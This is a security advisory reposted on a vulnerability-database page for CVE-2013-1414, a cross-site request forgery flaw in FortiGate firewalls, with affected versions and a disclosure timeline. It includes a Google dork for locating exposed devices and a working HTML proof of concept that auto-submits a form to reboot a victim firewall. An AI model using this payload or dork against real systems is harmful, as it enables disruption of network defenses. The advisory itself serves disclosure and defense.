Fortigate Firewalls - CSRF Vulnerability
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | Fortigate Firewalls - CSRF Vulnerability | 1 Jul 201300:00 | – | zdt |
 | FortiOS Web Interface Cross Site Fraudulently | 1 Nov 201800:00 | – | bdu_fstec |
 | CVE-2013-1414 | 8 Jul 201317:00 | – | cve |
 | CVE-2013-1414 | 8 Jul 201317:00 | – | cvelist |
 | Fortigate Firewalls - Cross-Site Request Forgery | 1 Jul 201300:00 | – | exploitdb |
 | EUVD-2013-1452 | 7 Oct 202500:30 | – | euvd |
 | Fortigate Firewalls - Cross-Site Request Forgery | 1 Jul 201300:00 | – | exploitpack |
 | Multiple CSRF Vulnerabilities in FortiGate | 8 Jul 201300:00 | – | fortinet |
 | Fortinet FortiOS < 4.3.13 / 5.0.3 Multiple XSRF | 15 Apr 201400:00 | – | nessus |
 | CVE-2013-1414 | 8 Jul 201317:55 | – | nvd |
10
Vulnerability ID: CVE-2013-1414
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Product: All Fortigate Firewalls
Vendor: Fortinet http://www.fortinet.com
Vulnerable Version: < 4.3.13 & < 5.0.2
Description
==========
Because many functions are not protected by CSRF-Tokens, it's possible (under certain conditions) to modify System-Settings, Firewall-Policies or take control over the hole firewall.
Requirements
===========
An Attacker needs to know the IP of the device.
An Administrator needs an authenticated connection to the device.
Report-Timeline:
================
Vendor Notification: 11 July 2012
Vendor released version 5.0.2 / 18 March 2013
Vendor released version 4.3.13 / 29 April 2013
Status: Fixed
Google Dork:
==========
-english -help -printing -companies -archive -wizard -pastebin -adult -keywords "Warning: this page requires Javascript. To correctly view, please enable it in your browser"
Credit:
=====
Sven Wurth [email protected]
PoC
====
This Example will reboot a Fortinet Firewall.
This is just one of many possibilities to attack this vulnerability.
##### CSRF - Proof Of Concept ####
<html>
<body onload="submitForm()">
<form name="myForm" id="myForm"
action="https://###_VICTIM_IP_###/system/maintenance/shutdown" method="post">
<input type="hidden" name="reason" value="">
<input type="hidden" name="action" value="1">
<input type="submit" name="add" value="rebootme">
</form>
<script type='text/javascript'>document.myForm.submit();</script>
</html>
##### End Poc #####
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Jul 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.02286